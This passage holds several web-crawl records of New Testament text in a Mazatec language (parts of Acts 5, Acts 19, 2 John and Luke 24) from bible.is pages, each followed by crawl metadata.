itsajo‑te‑ni. 38Ko̱ 'koa̱á ma‑ni nga ko̱'sín tíxin‑no 'ndi̱, ta katja'bè‑no. Ti̱'nde‑la jñà xi̱ta̱ kìi̱ nga katafì‑ni. Tsa ta xá 'tse̱ xi̱ta̱á ra i̱nchi'sín, chaán tà ya̱ kje̱he'tà‑ni jè kjoa̱ ra̱kìi̱. 39Tanga tsa xá 'tse̱ Nainá‑ni ra i̱nchi'sín, mì kì jiòn chíkjoa̱‑no nga si̱kijne‑la; ti̱kinda̱a ijo‑no tsa kií ni̱chjin‑ni, tsa jè‑ni Nainá ra i̱nchibixkàn‑ko̱o ―kitsó Gamaliel. 40Nga'tsì xi̱ta̱ ra ya̱ títsa̱jnajtín, kjokjiín‑la̱ koni 'sín kitsò. 'Kia̱á kiìchja̱ india‑ila̱ jñà xi̱ta̱ ra tsikíxáya‑la̱ Jesús. Tsajá‑la̱, isiki'on, ko̱ 'ñó tsikínè‑la̱ nga mì ti̱ kì ko̱'sín 'ke̱èna̱jmíya‑ni ra a̱'ta 'tse̱ Jesús. A̱kjòn isíkítsa̱jnandi̱í‑ni. 41Jñà xi̱ta̱ ra tsikíxáya‑la̱ Jesús, 'ñó tsja tjín‑la̱ 'kia̱ nga itjo‑ni ya̱ ngixko̱n xi̱ta̱xá ra títsa̱jnajtín. Nga̱ Nainá nda iskotsíjen‑jnó nga kitsjá'nde nga ma isìkjiín kjo̱hi'in ra ta nga̱tjì 'tse̱ Jesús. 42Mì kì jyò tsikitsa̱jna. Ni̱chjin nchijón tsakón‑ya ya̱ a̱ya i̱ngo̱ ítjòn ko̱ ra kj'ií ni'ya; kiìchja̱ya 'én‑la̱ Nainá nga jé Jesús ra Cristo [nga̱ jé ra xá isìkasén‑ni Nainá].\nHechos 5","id":"","dump":"CC-MAIN-2013-48","url":"http:\/\/www.bible.is\/MAASAV\/Acts\/5","date":"2013-12-08T11:52:45Z","file_path":"s3:\/\/commoncrawl\/crawl-data\/CC-MAIN-2013-48\/segments\/1386163065342\/warc\/CC-MAIN-20131204131745-00096-ip-10-33-133-15.ec2.internal.warc.gz","language":"maa","language_score":1.0000087023,"language_script":"Latn","minhash_cluster_size":22,"top_langs":"{\"maa_Latn_score\": 1.0000087022781372}","num_words":1115,"character_repetition_ratio":0.078,"word_repetition_ratio":0.0,"special_characters_ratio":0.231,"stopwords_ratio":0.332,"flagged_words_ratio":0.0,"lang_id_score":1.0,"perplexity_score":500.0,"cluster_detection":1} +{"text":"1Ji̱ ndí chjo̱ón xi xó jaàjiìn‑lè Nainá, ko̱ jñà i̱xti‑lè, tìkjiì‑nò Xo̱jo̱n jè 'a̱n xi xi̱ta̱ jchínga 'mì‑na ya̱ i̱ngo̱. Nguì o̱kixi̱‑né nga matsjake̱‑nò; mìtsà ta 'a̱n xi matsjake̱‑nò, ti̱koa̱á matsjakeè‑nò ngats'iì jñà xi̱ta̱ xi jye beè kós'ín tjín xi kjoa̱kixi̱. 2Koií k'oa̱s'ín matsjake̱‑nò, nga̱ jyeé ndaà tíjiìn ya̱ ini̱ma̱‑ná jè xi nguì kjoa̱ kixi̱, ko̱ ya̱á kíjnajiìn kjit'aà skanda ni̱ta̱ mé na̱chrjein‑ne. 3Nainá xi Na̱'èn 'mì‑laà ko̱ Na̱'èn‑ná Jesucristo xi Ki'ndí‑la̱ Nainá ma, kàtatsjá‑nò kjo̱ndaà, kàtahi̱ma̱keè‑nò, 'nchán kàtasíkíjna i̱jiìn ini̱ma̱‑nò, xi nguì ko̱ kjoa̱kixi̱ ko̱ kjo̱tsjacha‑la̱. 4'Ñó kjòtsja‑na k'e̱ nga kijtseè xkoaàn i'nga i̱xti‑lè, nga̱ k'oa̱á s'ín nchisíjchá yijo‑la̱ koni s'ín tjín kjoa̱ kixi̱ ts'e̱ Nainá, koni s'ín jye tsatíxoma‑ná jè Nainá xi Na̱'èn 'mì‑laà. 5K'oa̱á s'ín tìbitsi'bà‑nò i̱'ndei̱ jñò ndí 'ndsè xi 'ñó matsjake̱‑nò, nga mochjeén‑né nga 'ñó ko̱tsjachaá xinguia̱á nga jngó íjngoá. Ko̱ mìtsà kjo̱tíxoma xi̱tse̱ xi tìkjiì‑nò, ti̱jé‑ne jè kjo̱tíxoma xi kitjoé‑ná skanda ti̱sa̱ tàts'en‑la̱ kjoa̱. 6K'oa̱á s'ín tjín xi i̱t'aà ts'e̱ kjo̱tsjacha, jé‑né nga k'oa̱s'ín si̱kitasoán koni s'ín tjín kjo̱tíxoma‑la̱ Nainá; jyeé kina'yà nga ti̱sa̱ 'ñó kjòtseé kós'ín tíchja̱ kjo̱tíxoma nga 'ñó mochjeén nga ko̱tsjachaá xinguia̱á nga jngó íjngoá. 7Nga̱ kjín ma‑ne xi̱ta̱ xi tjímasòn nga tíjngoò i̱sò'nde xi nchikona̱cha̱n‑la̱ xi̱ta̱, nga tsò: \"Mìtsà 'én kixi̱ nga k'oa̱s'ín kits'iìn Jesucristo nga xi̱ta̱ komà koni jñá.\" Jè xi̱ta̱ xi ko̱tsò, ta tíkona̱cha̱n‑né ko̱ jè‑né xi tíjna ítjòn nga kondra̱ fì‑la̱ Cristo. 8Ndaà t'e̱en kinda̱ yijo‑nò, mé‑ne nga mìkiì si̱chjaà‑nò jè kjo̱tjò xi tjoé‑nò i̱t'aà ts'e̱ xá xi titsa̱'nè. Nga̱ mochjeén‑né nga kàtatjoé yije‑nò jè chjí‑la̱ xá xi titsa̱'nè. 9Ngats'iì xi̱ta̱ xi otonè‑la̱ koni s'ín tjín 'én xi tsakóya jè Cristo nga xìn ndi̱yá kjoé, mìtsà Nainá tíjnako̱; ta̱nga jè xi kixi̱ tíjna nga̱ k'oa̱s'ín tís'ín koni s'ín tsakóya Cristo, ya̱á tíjnako̱ Nainá xi Na̱'èn 'mì‑laà ko̱ jè xi Ki'ndí‑la̱ ma. 10Tsà k'e̱ jngoò xi̱ta̱ ki̱jchòkon‑nò xi mejèn‑la̱ nga 'én‑la̱ Nainá ke̱èno̱jmí‑nò ta̱nga tsà mì k'oa̱s'ín okóya koni tsò 'én‑la̱ Cristo, kì kiì biì'nde‑laà nga ni'ya‑nò fahas'en ko̱ kì 'mì‑laà: \"Ti̱kjáyi.\" 11Nga̱ jè xi tsjá'nde‑la̱ nga si̱ìkas'en ni'ya‑la̱, ti̱koa̱á ya̱á tísíngásòn‑ko̱ kjo̱hítsjeèn‑la̱ jñà xi̱ta̱ xi ta kjoa̱ ndiso nchihokóya. 12Tjín jchán‑ìsa mé 'én xi mejèn‑na nga ko̱xán‑nò, ta̱nga majìn‑na nga tà Xo̱jo̱n kit'aà‑nò. Jè xi mejèn‑na nga kjíkon xátí‑nò. K'e̱é ìsa̱ ndaà jchi̱bá mé‑ne nga ngats'iaá ngásòn ngáya kàtas'e‑la̱ kjo̱tsja ini̱ma̱‑ná. 13Jñà i̱xti‑la̱ chjo̱ón tichji xi ti̱koa̱ xó jaàjiìn‑ne Nainá nchisíkasén‑lè 'én nga síhixat'aà‑lè. K'oa̱s'ín kàtama.\n2 Juan Array","id":"","dump":"CC-MAIN-2013-48","url":"http:\/\/www.bible.is\/MAASJV\/2John\/","date":"2013-12-07T18:44:22Z","file_path":"s3:\/\/commoncrawl\/crawl-data\/CC-MAIN-2013-48\/segments\/1386163055633\/warc\/CC-MAIN-20131204131735-00044-ip-10-33-133-15.ec2.internal.warc.gz","language":"maa","language_score":1.0000082254,"language_script":"Latn","minhash_cluster_size":38,"top_langs":"{\"maa_Latn_score\": 1.000008225440979}","num_words":391,"character_repetition_ratio":0.06,"word_repetition_ratio":0.0,"special_characters_ratio":0.231,"stopwords_ratio":0.312,"flagged_words_ratio":0.0,"lang_id_score":1.0,"perplexity_score":500.0,"cluster_detection":1} +{"text":"1K'e̱ nga tákó ya̱ tíjna Apolos ya̱ na̱xa̱ndá Corinto, jè Pablo, kjìn i̱'nde jahatojiìn xi nindoò choòn nga ijchò Éfeso. Ya̱á kiskaàjiìn i'nga xi̱ta̱ xi kota'yàt'aà‑la̱ Cristo. 2Kiskònangui‑la̱, kitsò‑la̱: ―¿A kitjoé‑nò Ini̱ma̱ Tsjeè‑la̱ Nainá k'e̱ nga kòkjeiín‑nò i̱t'aà ts'e̱ Cristo? Jñà xi̱ta̱ koi kitsò: ―Ngaje̱n mìkiì tíjiìn‑naje̱n tsà tjín Ini̱ma̱ Tsjeè‑la̱ Nainá. 3Pablo kitsò‑la̱: ―¿Kó s'ín komà bautizar? Jñà xi̱ta̱ koi kitsò: ―I̱t'aà ts'e̱é bautismo‑la̱ Juan komà‑je̱n. 4Pablo kitsò: ―Kixi̱í kjoa̱. Juan, kis'iìn bautizar xi̱ta̱ xi kisìkájno jé‑la̱ nga mì ti̱ jé ko̱hótsji‑ne, ta̱nga k'oa̱á s'ín kitsò‑la̱ xi̱ta̱ na̱xa̱ndá nga kàtakjeiín‑la̱ i̱t'aà ts'e̱ Jesús, jè xi̱ta̱ xi i̱skan kjoi̱í. 5K'e̱ nga jye kiì'nchré 'én koi, i̱kjoàn komà bautizar i̱t'aà ts'e̱ Na̱'èn‑ná Jesucristo. 6Pablo, k'e̱ nga jye tsohósòn‑la̱ tsja, jñà xi̱ta̱ koi jahas'en‑jiìn ini̱ma̱‑la̱ Ini̱ma̱ Tsjeè‑la̱ Nainá, i̱kjoàn kiìchja̱ 'én xi kj'ei̱í tsò ti̱koa̱ kiìchja̱ya ngajo‑la̱ Nainá. 7Ngats'iì xi̱ta̱ koi, tejò ma xi xi̱ta̱ x'i̱n. 8Pablo, jàn sá tsibìjna Éfeso nga xki̱ xòhoto̱ fì ya̱ ni'ya i̱ngo̱ sinagoga; mìkiì tsakjón nga béno̱jmíya, 'ñó kiìchja̱ko̱ xi̱ta̱ nga kàtakjeiín‑la̱ kós'ín otíxoma Nainá. 9Ta̱nga tjín i'nga xi̱ta̱ xi kisìtájaàjiìn ini̱ma̱‑la̱, mìkiì kòkjeiín‑la̱ koni s'ín tíhokóya Pablo. Ch'oó kiìchja̱ nga nguixko̱n xi̱ta̱ i̱t'aà ts'e̱ ndi̱yá xi̱tse̱‑la̱ Cristo. Pablo, k'e̱é tsasìt'aà xìn; kiìko̱ yije xi̱ta̱ xi kota'yàt'aà‑la̱ Cristo. Ya̱á kiìko̱ jngoò ni'ya escuela ñánda okóya xi̱ta̱ xi 'mì Tirano. Ya̱á tsajoóya‑ne nga na̱chrjein nchijòn. 10Pablo, jò nó tsibìjna nga tsakóya‑la̱ xi̱ta̱. K'oa̱á s'ín komà nga kiì'nchré 'én ndaà‑la̱ Na̱'èn‑ná Jesucristo ngats'iì xi̱ta̱ judío ko̱ xi mìtsà xi̱ta̱ judío xi títsa̱jna na̱xa̱ndá ts'e̱ nangui Asia. 11Nainá, tseé kjo̱xkón kis'iìn nga jè kisìkjeén Pablo. 12Skanda jè pahìto̱‑la̱ ko̱ nikje xi síkjeén Pablo f'iìkjaá xi̱ta̱ nga fìko̱‑la̱ xi̱ta̱ xi xk'én. K'e̱ nga jye síko̱ jñà nikje, mandaà‑ne ch'in xi tjín‑la̱; ti̱koa̱á bitjokàjiìn‑ne ini̱ma̱ ch'o‑la̱ nei̱í xi tíjiìn ini̱ma̱‑la̱. 13Tjín i'nga xi̱ta̱ judío xi xki̱ xi ján na̱xa̱ndá tjíma nga ochrjekàjiìn ini̱ma̱‑la̱ xi̱ta̱ xi ini̱ma̱ ch'o‑la̱ nei̱í tíjiìn ini̱ma̱‑la̱. Mejèn‑la̱ k'oa̱ ti̱s'ín si̱ìkaxki̱ 'ín‑la̱ Jesús nga ko̱xkiì‑la̱ xi̱ta̱. Tsò‑la̱ jè nei̱í: ―¡I̱t'aà ts'e̱ Jesús xi jè Pablo okóya otiìxoma‑lè nga tìtjo̱kàjiìn ini̱ma̱‑la̱ xi̱ta̱ koi! 14Jngoò xi̱ta̱ judío xi 'mì Esceva xi xi̱ta̱ sko̱‑la̱ no̱'miì, k'oa̱á s'ín mejèn kis'iìn i̱xti‑la̱ xi itoò ma‑ne. 15Ta̱nga jè xi̱ta̱ nei̱í, jngoò k'a kiìchja̱‑la̱ kitsò‑la̱: ―'A̱n bexkon‑ná Jesús, ti̱koa̱á bexkon‑ná Pablo; ta̱nga jñò, ¿yá xi̱ta̱‑nò? 16Jè xi̱ta̱ xi ini̱ma̱ ch'o‑la̱ nei̱í tíjiìn ini̱ma̱‑la̱ kiskaàn‑ko̱ jñà i̱xti koi; kitsjoònè kitsjoòfe; kisìkijne‑la̱ nga itoò i̱xti. Itjo ni'ya, i̱kjoàn tsanga nga laká kjoàn koi kjoa̱‑la̱ nga 'ñó kisìki'on. 17Ngats'iì xi̱ta̱ judío ko̱ xi mìtsà xi̱ta̱ judío xi tjín ján na̱xa̱ndá Éfeso, kiì'nchré kjoa̱ xi komà; tà kitsakjòn‑né. Ìsa̱á 'ñó ndaà kijtseèxkón Na̱'èn‑ná Jesucristo. 18Kjìn xi̱ta̱ xi jye mokjeiín‑la̱ 'én ndaà‑la̱ Nainá xi kjoa̱ ts'e̱ Cristo, j'iì kéno̱jmí nga nguixko̱n xi̱ta̱ nga ch'o tjín xá xi kis'iìn nga sa̱ ítjòn. 19Ti̱koa̱á kjìn ma xi̱ta̱ tj'e j'iìko̱ yije libro xi kisìkjeén nga ti̱sa̱ ítjòn nga tsaká. Chinchájiìn ni'ín nga kitiì nga nguixko̱n yije xi̱ta̱. K'e̱ nga komà kinda̱ jè chjí‑la̱ libro xi kitì, icháte jmiì to̱n plata tjín‑ne chjí‑la̱. 20K'oa̱á s'ín komà‑ne nga 'ñó tsangasòn 'én ndaà‑la̱ Nainá xi kjoa̱ ts'e̱ Cristo; tseé nga'ñó kis'e‑la̱. 21K'e̱ nga jye jyehet'aà kjoa̱ koi, Pablo kisìkítsjeèn nga ján kjoi̱ Jerusalén, kjoa̱hato nangui Macedonia ko̱ Acaya. K'oa̱á s'ín kisìkítsjeèn nga ti̱koa̱ mochjeén‑né nga ján kjoi̱ na̱xa̱ndá Roma. 22K'e̱é kisìkasén ingajò xi̱ta̱ xi síchját'aà‑la̱ ján nangui Macedonia, jè Timoteo ko̱ Erasto; ko̱ jè Pablo, ya̱á tsibìjna chiba na̱chrjein ìsa̱ ya̱ nangui Asia. 23Jñà na̱chrjein koi, 'ñó tse kjoa̱siì kis'e ya̱ Éfeso, koií kjoa̱‑la̱ Ndi̱yá xi̱tse̱‑la̱ Cristo. 24Jngoò xi̱ta̱ xi 'mì Demetrio xi síxáko̱ ki̱cha̱ plata, bíndaà xkósòn‑la̱ ts'e̱ i̱ngo̱‑la̱ Diana. Ngats'iì xi̱ta̱ xi síxáko̱ 'ñó ndaà síkijne to̱n. 25Tsibíxkóya ngats'iì xi̱ta̱‑la̱ xi síxáko̱ ko̱ xi̱ta̱ xi kj'ei̱í xi ti̱koa̱ koi xá s'ín, kitsò‑la̱: ―Ngats'ioò jñò, 'ya‑nò nga jè xá koi, bijne‑ná to̱n. 26Ta̱nga ti̱koa̱á titsa̱'ya‑nò, ko̱ titsa̱na'yà‑nò nga jè xi̱ta̱ xi 'mì Pablo, k'oa̱á s'ín binchá'a yije xi̱ta̱ nga mì xó tsà nainá xi tsja xi̱ta̱ sindaà‑ne. Kjìn ma‑ne xi jye jahatjìya‑la̱, mìtsà ta̱ i̱ Éfeso, kóho̱kji jngoò itjandiì nangui Asia. 27Jè kjoa̱ koi, mìkiì ndaà tjín. Mìtsà tà koi kjoa̱‑la̱ nga chi̱ja xá xi 'nè. Ti̱koa̱á tjín‑la̱ kjo̱skon tsà chi̱ja i̱ngo̱‑la̱ nainá xi 'mì Diana, jè xi 'ñó 'nga tíjna nga mì ti̱ kiì skoe̱xkón‑ne xi̱ta̱; ko̱ ya̱á chi̱ja kjoa̱jeya‑la̱; mìtsà tà i̱ Asia nga yaxkón, tíjtsaá i̱sò'nde. 28Jñà xi̱ta̱, k'e̱ nga kiì'nchré 'én koi, 'ñó kòjti‑la̱, i̱kjoàn 'ñó kiìchja̱ nga kitsò: ―¡'Nga kàtìjna Diana ts'e̱ na̱xa̱ndá Éfeso! 29Kóho̱kji na̱xa̱ndá kis'e kjoa̱siì; kitsobà'ñó jè xi 'mì Gayo ko̱ Aristarco. Ingajò xi̱ta̱ koi, ya̱á kjihijtako̱ Pablo; ján i̱'nde‑la̱ nangui Macedonia. Fàhatje̱n fàhania, kiìko̱ ni'ya teatro ñánda bixoña xi̱ta̱ na̱xa̱ndá. 30Pablo, mejèn jahas'en tji̱ngui‑la̱ ni'ya nga ki̱chja̱jiìn‑la̱ xi̱ta̱ na̱xa̱ndá ta̱nga jñà xi̱ta̱ xi kota'yàt'aà‑la̱ Cristo mìkiì kitsjaà'nde‑la̱. 31Ti̱koa̱á ya̱á títsa̱jna i'nga xi̱ta̱ xi xá tjín‑la̱ ts'e̱ nangui Asia xi amigo ts'e̱ Pablo. Kisìkasén‑la̱ 'én nga mì ya̱ kjoa̱s'en‑jiìn ya̱ ni'ya teatro. 32Ya̱ ni'ya teatro ñánda chixoña xi̱ta̱, mìkiì 'ya‑la̱ mé kjoa̱ xi tjín. Xki̱ xi ján chja̱, ka̱kj'ei̱í ka̱kj'ei̱í tsò nga jngoò ìjngoò. Ìsa̱á kjìn ma‑ne xi mìkiì tíjiìn‑la̱ mé kjoa̱ xi tjín i̱'nde jè. 33Jñà xi̱ta̱ judío tsasíjna osen Alejandro nga kisìkíchja̱. Jè Alejandro, k'e̱é kiskímiìtje̱n tsja nga kisìkítsa̱jnajyò xi̱ta̱. Mejèn‑la̱ nga ko̱si̱ko̱ xi̱ta̱ judío. 34Jñà xi̱ta̱, k'e̱ nga kijtseèxkon Alejandro nga xi̱ta̱ judío, ngats'iì, 'ñó kiìchja̱ nga ta jngoó jta̱á kiìchja̱, kitsò: ―¡'Nga kàtìjna Diana ts'e̱ na̱xa̱ndá Éfeso! Koni jò‑la hora kiìchja̱ nga o̱kitsò. 35Jè xi̱ta̱ xi tjín‑la̱ secretario ts'e̱ na̱xa̱ndá, k'e̱ nga jye kisìkítsa̱jnajyò xi̱ta̱ na̱xa̱ndá kitsò‑la̱: ―Ngats'ioò xi xi̱ta̱ Éfeso 'mì‑nò, 'ya‑nò nga ngats'iì xi̱ta̱ xi tjín nga tíjtsa i̱sò'nde beè‑né nga i̱ na̱xa̱ndá Éfeso tjín‑la̱ kinda̱ i̱ngo̱‑la̱ ko̱ xkósòn‑la̱ xi nea̱‑ná Diana xi 'ñó 'nga tíjna xi ngajmiì j'iì‑ne. 36Ni̱jngoò xi ko̱ma kíjna'ma kjoa̱ koi. Mochjeén‑né nga mì ta̱xki̱ s'e̱en; ítjòn ti̱kítsjeèn. 37Jñà xi̱ta̱ xi jñò kòf'i̱ko̱ò i̱jndé, nì mé kjoa̱ xi kòhótsji i̱t'aà ts'e̱ i̱ngo̱; ti̱koa̱á mìtsà jè nea̱‑ná Diana kàchja̱jno‑la̱. 38Tsà jè Demetrio ko̱ xi̱ta̱ xi síxáko̱, tsà mé kjoa̱ xi tjín‑la̱ ko̱ xi̱ta̱ xi kj'ei̱í, tjín xi̱ta̱xá xi ma‑la̱ bíndaàjiìn, koa̱ tjín ni'ya osen ñánda sindaàjiìn mé‑ne nga ko̱ma ki̱nchako̱‑ne yijo‑la̱. 39Jñò, tsà mé xi mejèn‑ìsa‑nò, kàtasijna jngoò junta ts'e̱ xi̱ta̱ na̱xa̱ndá xi kixi̱ tjín nga kàtasindaàjiìn koni s'ín tíchja̱ kjo̱tíxoma. 40Jè kjoa̱ xi kòma i̱'ndei̱, tjín‑la̱ kjo̱skon tsà jè xi̱ta̱xá ítjòn ts'e̱ Roma ki̱chja̱'nchré‑ná nga kjo̱siì titsa̱binchaátsjiaá. ¿Mé kinda̱ xi k'oia̱á? 41K'e̱ nga jye o̱kitsò xi̱ta̱ jè, kiì yije‑ne ni'ya‑la̱ xi̱ta̱.\nHechos 19","id":"","dump":"CC-MAIN-2013-48","url":"http:\/\/www.bible.is\/MAASJV\/Acts\/19","date":"2013-12-09T05:33:53Z","file_path":"s3:\/\/commoncrawl\/crawl-data\/CC-MAIN-2013-48\/segments\/1386163906438\/warc\/CC-MAIN-20131204133146-00028-ip-10-33-133-15.ec2.internal.warc.gz","language":"maa","language_score":1.000005126,"language_script":"Latn","minhash_cluster_size":23,"top_langs":"{\"maa_Latn_score\": 1.0000051259994507}","num_words":1045,"character_repetition_ratio":0.069,"word_repetition_ratio":0.0,"special_characters_ratio":0.226,"stopwords_ratio":0.295,"flagged_words_ratio":0.0,"lang_id_score":1.0,"perplexity_score":500.0,"cluster_detection":1} +{"text":"1Jè ni̱chjin 'kia̱ nga ma'tsia̱ xomàna̱, 'ñó ta̱jñòya kijì jñà íchjín kìi̱ ya̱ nga̱jo̱‑la̱ chrjó mi'ken ñánda̱ isìhi'nde ijo‑la̱ Jesús nga kiìko̱ jñà sihìti̱ ra tsikínda nga ki̱ìxten‑jnó ijo‑la̱ Jesús; ko̱ tje̱n‑ko̱ i'ka íchjín ra kj'ií. 2'Kia̱ nga ijchò, kijtseé jè na̱jo̱ ra tjíchjàjto‑ni ya̱ nga̱jo̱‑la̱ mi'ken nga xìn kjijna. 3'Kia̱ nga 'jaha'sen‑ngi ya̱ nga̱jo̱ chrjó mi'ken, mì kì isakò‑la̱ ijo‑la̱ Na̱'ín‑ná Jesús. 4'Kia̱ nga i̱nchisíkájno íchjín kìi̱, ta ndi̱to̱ón tsincha'ta jò‑la̱ xi̱ta̱ 'xi̱n ra kjiya nikje ra fate ni'í kjòn. 5Ta itsakjón jñà íchjín kìi̱; tsincha-niña'tá skanda ya̱ a̱'ta nangi. 'Kia̱á kitsò jñà xi̱ta̱ 'xi̱n ra jò ma‑ni: ―¿Mé‑ni ya̱ fatsjijin‑la mi'ken jè xi̱ta̱ ra tíjnakon? 6Mì tsa ti̱ yá tjín‑ni i̱jndíi̱, ijyeé kàfaháya‑ila̱. Ti̱kítsjen koni 'sín kitsò‑no 'kia̱ nga tíjna‑isa ya̱ Galilea, 7nga kitsò: \"Jè I'ndí‑la̱ Xi̱ta̱, tjínè‑la̱ nga ya̱ ko̱nga̱tsja jñà xi̱ta̱ jé nga koa̱à'ta krò, tanga 'kia̱ nga ki̱jchò jàn ni̱chjin kjoa̱áya india‑la̱.\" 8Jñà íchjín kìi̱, 'kia̱á ítsjen‑la̱ koni 'sín kitsò Jesús. 9'Kia̱ ijye tsáfa‑ni nga kiì katsíjen‑la̱ nga̱jo̱‑la̱ mi'ken, tsi'kéna̱jmí‑la̱ jñà xi̱ta̱ ra tsikíxáya‑la̱ Jesús ra tejngo ma‑ni ko̱ jñà xi̱ta̱ ra i'ka. 10Jñà íchjín ra 'jiìkó 'én nga tsi'kéna̱jmí, jè ra 'mì María Magdalena, ko̱ ra 'mì Juana, jè María ra na̱‑la̱ ma Jacobo ko̱ jñà íchjín ra i'ka. 11Tanga jñà xi̱ta̱‑la̱ Jesús ra tsikíxáya‑la̱, ra ta kjoa̱ ndi̱to̱n, tà kjo̱ská kjomà‑la̱; mì kì kjokjiín‑la̱ 'én ra tsi'kéna̱jmí‑la̱ jñà íchjín kìi̱. 12Tanga jè Pedro, ndi̱to̱ón kijì, nga kiì katsíjen ya̱ ñánda̱ tíjna jè nga̱jo̱‑la̱ mi'ken; 'kia̱ nga iskotsíjen'séen ya̱ nga̱jo̱, ta jñá kjihijyo‑isa nikje ra isijtéjin ijo‑la̱ Jesús. A̱kjòn tsáfa‑ni ya̱ ni'ya‑la̱; tà kjóxkón‑la̱ kjoa̱ ra kjomà. 13Ti̱jé‑ni ni̱chjin ra̱kìi̱, jò xi̱ta̱‑la̱ Jesús i̱nchifì jngo na̱xi̱ndá i̱tsé ra 'mì Emaús, ra tjín‑la̱ tsa tejngo jmi metro skanda ya̱ Jerusalén. 14'Kia̱ nga i̱nchifì ya̱ a̱ya ndi̱yá, kií i̱nchijo̱óya‑ni nga'tsì kjoa̱ ra kjomà. 15'Kia̱ i̱nchijo̱ó ko̱ i̱nchikjonangi‑la̱ xákjén, ijchò kasi'ta chraña‑la̱ ra ti̱jè‑ni Jesús nga ta̱ña tsakáhijtako̱. 16Tanga 'koa̱á 'sín kjomà‑la̱ koni tsa tjíchjà xko̱n, mì kì kijtsexkon Jesús. 17Jesús iskonangií‑la̱, kitsò‑la̱: ―¿Mé 'én ra ta̱ nda chibàya‑no nga timaya ndi̱yá, ko̱ mé‑ni nga ta̱ ba tjín‑no? 18'Kia̱á kiìchja̱ jè ra 'mì Cleofas, kitsò: ―Ta nga'tsì xi̱ta̱ ra xìn i̱'nde‑la̱ ra títsa̱jna ya̱ Jerusalén, tà ji̱áa‑ni ra mì tjíjin‑la̱ jè kjoa̱ ra kjomà ya̱, ni̱chjin ra tsato. 19Jesús kitsó‑la̱: ―¿Mé kjoa̱ ra kjomà? Jñà xi̱ta̱ kìi̱ kitsó‑la̱: ―A̱'ta 'tse̱ Jesús ra ya̱ Nazaret i̱'nde‑la̱, jè ra kiìchja̱ ngajo‑la̱ Nainá; 'ñó ki'se‑la̱ nga'ñó a̱'ta 'tse̱ kjoa̱ ra ki'sìn ko̱ a̱'ta 'tse̱ 'én ra kiìchja̱ ngixko̱n Nainá, ko̱ ya̱ ngixko̱n nga'tsì xi̱ta̱ na̱xi̱ndá. 20Jñà xi̱ta̱ ítjòn‑la̱ na̱'mì, ko̱ xi̱ta̱xá‑na̱ji̱n, ya̱á isìnga̱tsja xi̱ta̱xá 'tse̱ Roma nga isi'ta krò ko̱ nga ini'ken. 21'Koa̱á 'sín i̱nchichiñá‑ji̱n tsiki; bixó‑náji̱n tsa jè‑ní ra ma‑la̱ si̱ìkítsa̱jnandi̱í‑ni xi̱ta̱ na̱xi̱ndá Israel. Tanga ijyeé fì jàn ni̱chjin nga ko̱'sín kjomà. 22Tjín i'ka íchjín ra tjítsa̱jnajin‑naji̱n, ra ta̱jñò kàfì katsíjen nga̱jo̱‑la̱ mi'ken. 'Kia̱ nga kà'fìi̱‑ni kábíxkón‑naji̱n nga ká'béna̱jmí‑naji̱n 23nga mì‑ró kì kàsakó‑la̱ ijo‑la̱ Jesús; ti̱'koa̱ kàbe‑ró ìkja̱li̱ ra kàtsò‑la̱: Jesús tíjnakon‑ní. 24'Kia̱á kàfì‑te i'ka xi̱ta̱ xàngi̱‑ji̱n ra kàfì katsíjen‑la̱ nga̱jo̱‑la̱ mi'ken. 'Koa̱á‑ró ti̱'sín kàbe‑ni koni 'sín kàtsò jñà íchjín, tanga mì‑ró yá tjín ra jè Jesús. 25'Kia̱á kitsò Jesús: ―¡Mé ta̱ tája‑ni inìma̱‑no nga mì kì machi̱ya‑no ko̱ mì kì makjiín‑no koni 'sín kitsò jñà xi̱ta̱ ra isìchjeén Nainá nga kiìchja̱ ngajo‑la̱! 26¿A mí 'ya, nga xá 'koa̱á 'sín ítjòn si̱ìkjiín‑ni kjo̱hi'in jè Cristo [ra xá isìkasén‑ni Nainá], a̱kjòn 'kia̱á ki̱ji̱ ya̱ ján ngajmi nga jeya kíjna? 27Tsi'kéna̱jmíya‑la̱ kótsò‑ni koni 'sín tíchja̱ nga'tsì Xa̱jo̱n ra tjí'ta 'Én‑la̱ Nainá a̱'ta 'tse̱ Cristo. Tsikí'tsia̱ kjòn‑ni xa̱jo̱n ra tsikínda Moisés; a̱kjòn tsi'kéna̱jmíya‑la̱ nga'tsì xa̱jo̱n ra tsikínda jñà xi̱ta̱ ra isìchjeén Nainá nga kiìchja̱ ngajo‑la̱. 28'Kia̱ nga ijchò ya̱ na̱xi̱ndá ñánda̱ i̱nchifì xi̱ta̱ kìi̱, 'koa̱á 'sín ki'sìn Jesús koni tsa isa̱ kjin tífì. 29Tanga jñà xi̱ta̱ kìi̱, kjo̱'ñó isíkíjna; kitsò‑la̱: ―Ti̱jnako̱‑náji̱n ijyeé kjòhixón‑ní, ijyeé iskatjì tsá'bí. Kjokjiín‑la̱ jè Jesús; 'jaha'sen ni'ya nga tsikijnako̱ jñà xi̱ta̱ kìi̱. 30'Kia̱ nga ijye títsa̱jna'ta ya̱ ímixa̱, iskábé ni̱ño̱ nchra̱jín, kitsjá‑la̱ kjo̱nda Nainá, a̱kjòn isìjòya, kitsjá‑la̱ jñà xi̱ta̱ kìi̱. 31'Kia̱á kitsjá'nde Nainá nga nda tsatsíjen‑ila̱; kijtsexkon nga jè Jesús; tanga jè Jesús, ta ndi̱to̱ón ichijà ya̱ ngixko̱n xi̱ta̱ kìi̱. 32'Kia̱á kitsò‑la̱ xákjén: ―Kií‑la ta̱ nda kàmatsja‑ila̱ inìma̱‑ná 'kia̱ nga kábáko̱‑ná ya̱ a̱ya ndi̱yá nga ká'béna̱jmíya‑ná a̱'ta 'tse̱ Xa̱jo̱n ra tjí'ta 'Én‑la̱ Nainá. 33Mì kì ti̱ iskoñá‑ni, ndi̱to̱ón tsáfa india‑ni ya̱ Jerusalén; ijchò india‑ni ya̱ ni'ya ñánda̱ kjóxkóya xákjén, ko̱ jñà ra tejngo ma‑ni, ko̱ jñà xi̱ta̱ ra i'ka. 34Jñà xi̱ta̱ ra tejngo ma‑ni kitsò‑la̱ xákjén: ―Kixi̱ kitií kjoa̱, ijyeé kàfaháya‑ila̱ Na̱'ín‑ná Jesús; ijyeé kàbe jè Simón. 35'Kia̱á tsi'kéna̱jmí‑te jñà xi̱ta̱ ra jò ma‑ni kó'sín kjomà'tin ya̱ a̱ya ndi̱yá, ko̱ kó'sín kjomà nga kijtsexkon Jesús 'kia̱ nga isìjòya ni̱ño̱ nchra̱jín. 36Takó ti̱'kia̱á i̱nchichja̱-isa‑ni nga i̱nchi'béna̱jmí‑la̱ xákjén kjoa̱ kìi̱, nga tsasijnajin masen‑la̱ Jesús; 